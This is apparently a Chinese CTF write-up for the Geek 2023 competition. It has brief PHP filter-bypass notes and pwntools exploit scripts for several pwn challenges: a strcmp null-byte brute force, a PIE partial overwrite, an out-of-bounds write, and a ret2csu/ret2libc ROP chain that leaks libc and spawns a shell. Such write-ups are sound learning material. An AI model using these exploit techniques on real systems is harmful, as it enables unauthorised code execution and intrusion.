NS - Geek 2023 Web & PWN

好耶,又来练习pwn

WEB

web懒得复现了,尤记几个点

  1. php5特性: 如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值;但是如果先科学计数法+数字,此时会先将科学计数法变为正常的数再进行加法运算,之后才传入intval()进行转换;
  2. php参数里不能有. ,会被自动换为_,但是这个操作只换一个:SYC_GEEK.2023 => SYC[GEEK.2023 绕过。

PWN

nc_pwntools

考察pwntools使用

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

io = remote('pwn.node.game.sycsec.com', 31152)
context.log_level='debug'

io.recvuntil(b'!!!')
io.send(b"a"*92+b"Syclover")

io.recvuntil(b"first one\n")
eval_str = io.recvline().replace(b'=?\n',b'')
print(eval_str)
io.sendline(str(eval(eval_str)).encode())
io.interactive()

password

考了strcmp的一个trick,\x00会截断,密码概率为空,剩下的就简单了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context.log_level = "debug"

import time


while True:
try:
io = remote('pwn.node.game.sycsec.com', 30351, timeout=2)
# io = process('./password')
io.recvline()
payload = b'a' * 40 + p64(0x00000000004012F3)
io.send(payload)
io.recvline(timeout=2)
io.sendline(b'')
res = io.recvline(timeout=2)
if b'Correct' in res:
break
io.close()
time.sleep(0.1)
except KeyboardInterrupt:
exit()
except:
pass
io.interactive()

ret2text

开了PIE,且没法泄漏地址,但是可以覆盖一字节

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.log_level = 'debug'

# io = process('./ret2text')
io = remote('pwn.node.game.sycsec.com', 31533)

io.recvline()
payload = b'A'*0x58 + b'\x27'

io.send(payload)
io.interactive()

write1

这题需要算ret地址的偏移,然后利用数组越界写过去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

# io = process('./chal')
io = remote('pwn.node.game.sycsec.com', 31043)
context.log_level = 'debug'

pause()
# io.recvline()
io.sendline(b'AAAAAAAA')

io.recvline()
io.sendline(b'40')
io.recv()
io.sendline(b'-2b')
io.recvline()
io.sendline(b'41')
io.recv()
io.sendline(b'-01')

io.recvline()
io.sendline(b'-1')
io.interactive()

ret2libc

这题本地通了,死活线上打不通,思路就是write泄漏libc地址,然后构造rop打shell。后面经过师傅的指点,可以用csu控制rdx(线上可能rdx值被加料改0了,导致输出不了),又学一招,开心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context.log_level = 'DEBUG'

io = process("./chal")
libc = ELF("./libc.so.6.local")
# io = remote("pwn.node.game.sycsec.com", 30819)
# libc = ELF("./libc.so.6")

elf = ELF("./chal")
pause()
io.recvuntil(b"backdoor!")
write_plt = elf.plt['write']
write_got = elf.got['write']

vuln = 0x4011FD
pop_rbx = 0x40132A
mov_rdx = 0x401310
pop_rdi = 0x0000000000401333

def ret2csu(rbx,rbp,r12,r13,r14,r15):
payload = b"bbb\x00" + b"a" * 20
payload += p64(pop_rbx)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12) # rdi
payload += p64(r13) # rsi
payload += p64(r14) # rdx
payload += p64(r15) # call vuln
payload += p64(mov_rdx)
payload += b'a'*(0x8+8*6) # 会再经过一轮pop,保持栈平衡
payload += p64(vuln)
io.sendline(payload)


ret2csu(0, 1, 1, write_got, 8, write_got) #write(fd=1, buf=write_got, count=8)

write_got_addr = u64(io.recv(6).ljust(8, b"\x00"))

print("write_got_addr: %s" % hex(write_got_addr))
libcbase = write_got_addr - libc.symbols['write']
system_addr = libcbase + libc.symbols['system']
bin_sh_addr = libcbase + next(libc.search(b"/bin/sh"))

io.recvuntil(b"backdoor!")
payload2 = b"bbb\x00" + b"a" * 20 + p64(pop_rdi+1) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
io.sendline(payload2)

io.interactive()